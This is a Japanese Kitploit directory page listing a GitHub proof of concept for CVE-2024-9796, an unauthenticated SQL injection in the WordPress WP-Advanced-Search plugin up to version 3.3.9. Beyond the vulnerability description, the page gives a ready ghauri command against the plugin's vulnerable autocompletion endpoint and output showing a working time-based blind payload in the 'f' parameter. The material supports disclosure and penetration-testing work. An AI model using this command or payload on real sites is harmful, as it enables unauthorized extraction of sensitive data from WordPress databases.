Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-9796 — WordPress WP-Advanced-Search <= 3.3.9 - 未認証SQLインジェクション | Kitploit
ツール/GitHubGitHub/randomrobbiebf/cve-2024-9796
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストデータベースセキュリティ
GitHubrandomrobbiebf/cve-2024-9796

CVE-2024-9796

WordPress WP-Advanced-Search <= 3.3.9 - 未認証SQLインジェクション

リポジトリを見る
41年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-9796

WordPress WP-Advanced-Search <= 3.3.9 - 認証なしSQLインジェクション

説明

WordPress用 WP-Advanced-Search プラグインは、バージョン3.3.9まで（および3.3.9を含む）のすべてのバージョンにおいて、ユーザーが指定するパラメータのエスケープが不十分で、既存のSQLクエリの準備が不十分なため、SQLインジェクションに対して脆弱です。これにより、認証されていない攻撃者が既存のクエリに追加のSQLクエリを付加し、データベースから機密情報を抽出することが可能になります。

root@kitploit:~
Type: plugin
CVSS Score: 7.5
CVE: CVE-2024-9796
Slug: wp-advanced-search

ダウンロードリンク: ダウンロード wp-advanced-search バージョン 3.3.9

#POC

root@kitploit:~
ghauri -u "https://wpscan-vulnerability-test-bench.ddev.site/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?t=wp_autosuggest&f=words&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=19692269759899"
root@kitploit:~
Parameter: f (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (IF - comment)
    Payload: t=wp_autosuggest&f=if(now()=sysdate(),SLEEP(9),0)-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853'
ツールをダウンロード